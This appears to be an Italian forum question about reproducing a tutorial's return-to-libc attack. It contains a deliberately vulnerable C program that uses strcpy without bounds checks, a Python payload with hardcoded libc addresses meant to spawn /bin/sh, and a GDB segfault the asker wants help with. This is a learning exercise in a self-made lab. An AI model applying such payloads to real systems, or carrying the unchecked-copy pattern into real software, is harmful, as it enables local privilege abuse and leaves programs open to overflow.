Sto cercando di riprodurre un return-to-libc per un semplice programma vulnerabile. Il tutorial è tratto da link
Ho apportato alcune piccole modifiche, per renderlo più facile per me.
Prima di tutto, sto lavorando su un sistema Ubuntu Linux:
Linux ubuntux86 4.2.0-22-generic #27-Ubuntu SMP Thu Dec 17 22:57:22 UTC 2015 i686 i686 i686 GNU/Linux
Per prima cosa ho disabilitato ASLR per Ubuntu (randomize_va_space)
Poi ho scritto questo programma:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n", buf);
fflush(stdout);
return 0;
}
Poi ho compilato questo programma vulnerabile come questo:
gcc -g -fno-stack-protector -o vuln1 vuln1.c
Poi ho iniziato a scrivere un exploit sulla base del tutorial:
#!/usr/bin/env python
import struct
from subprocess import call
# Junk + system + exit + shell
buf = ""
buf += "A" * 200
buf += "B" * 60
# since here: buffer overflow
buf += "\x60\xd1\xe3\xb7"
# pointing to system function
buf += "\x90\x0c\xe3\xb7"
# pointing to exit function
buf += "\x8f\xf3\xff\xbf"
# Content of SHELL Var = /bin/sh
print(buf)
Quindi avvio il programma vulnerabile con il comando
./vuln1 $(python exploit.py)
Ma dopo, non ho una nuova shell, ma solo un errore di errore di segmentazione. GDB mi mostra anche questo:
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
La domanda è: cosa ho fatto di sbagliato? Cosa ho dimenticato?